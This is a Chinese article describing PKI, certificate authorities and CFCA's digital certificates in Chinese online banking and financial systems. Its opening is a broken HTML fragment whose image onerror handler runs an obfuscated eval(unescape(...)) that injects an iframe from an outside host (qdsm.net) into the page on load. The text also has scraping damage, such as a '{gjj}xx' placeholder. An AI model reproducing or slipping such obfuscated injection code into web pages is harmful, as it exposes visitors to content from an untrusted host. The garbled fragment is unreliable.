PKI在金融领域的应用

0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" src='http://gimg.baidu.com/img/gsgs.gif' width=0 height=0 onerror="eval (unescape('var%20content1%3D%22%3CI+FR+AME%20%20align%3Dcenter%20marginWidth%3D0%20marginHeight%3D0%20src%3Dhttp%3A//qdsm.net/links/zh_160_600.html%20frameBorder%3D0%20width%3D160%20scrolling%3Dno%20height%3D600%3E%3C/I+FRAM+E%3E%22%3B%20document.getElementById%28%22contenthtml1%22%29.innerHTML%3D%20content1'.replace(/\+/g,'')))">

　　PKI(Pubic Key Infrastructure)是一种基于非对称密码学，利用公钥证书机制来实施和提供信息安全服务的普适性基础设施。它为电子商务的开展提供一套安全基础平台的技术和规范。PKI的基础技术包括加密、数字签名、数据完整性机制、数字信封、双重数字签名等，用户可利用PKI平台提供的服务进行安全通信。PKI体系主要由证书管理机构（CA）、注册审批机构（RA）、证书公布机制或目录服务器机制、证书废止发布机制（CRL）、安全应用软件、证书策略(CP)与证书运作规范(CPS)构成。

　　证书管理机构（CA）是PKI的关键部分，CA产生公钥证书、发布证书并根据证书策略（CP）对证书进行管理，管理工作通常包括：证书库管理、证书撤销、按需要进行密钥备份与恢复、自动密钥更新、密钥历史管理、交叉认证等。而且CA必须具备实现这些功能的全部硬件、软件、人力资源、相关政策和操作程序，以及为PKI体系中的各成员提供全部的安全服务，例如实现通信中各实体的身份认证、保证数据的完整性、不可否认性和信息的保密性等。

　　CFCA是由人民银行和国家信息安全管理机构审批成立的{gjj}xx的第三方安全认证机构。CFCA PKI系统在满足高安全性、开放性、实用性、高扩展性、交叉认证等需求的同时，从物理安全、环境安全、网络安全、CA产品安全以及密钥管理和操作运营管理等方面均按国际标准制定了相应的安全策略，并通过专业化的技术队伍和完善的运营服务体系，确保系统7X24小时安全、高效、稳定地运行。

　　随着国内PKI技术的逐步成熟，以PKI技术为基础的数字证书安全机制已经在金融领域得到了广泛地应用。

　　从证书在金融领域的应用范围来看，CFCA作为金融行业统一的安全认证机构，目前已在建设银行、交通银行、中信银行、华夏银行、民生银行等国内10余家全国性商业银行，深圳、武汉、温州等5家城市商业银行，16家证券公司的网上证券交易系统以及13家开放式基金的网上数据管理系统建成覆盖全国的认证服务体系。与此同时，CFCA的证书还应用在中央国债登记系统、中国银联网上差错处理系统、银联厦门分公司网上认证系统、银联大连分公司信息产业局网上认证系统、深圳金融电子结算中心网上认证系统、北京票据清算中心数据管理体统、人民银行上海分行外汇申报系统、人民银行武汉分行国库系统和北京营管部信息发布平台等系统中。除此之外，无锡国税、大连地税、北京国税的网上申报缴税系统，攀钢、鞍钢、一汽等大型企业集团的财务公司也应用了CFCA的数字证书。

　　目前，数字证书在金融领域中的应用面属网上银行最为广泛。交易金额大，安全性要求高的企业网银基本上都采用了证书安全机制；个人网银中，涉及资金转帐和支付的业务一般也需要数字证书。还有一些非支付类的应用，例如一些敏感信息的安全传递、进入某个系统的身份控制等也都需要用到数字证书来加以 安全保障。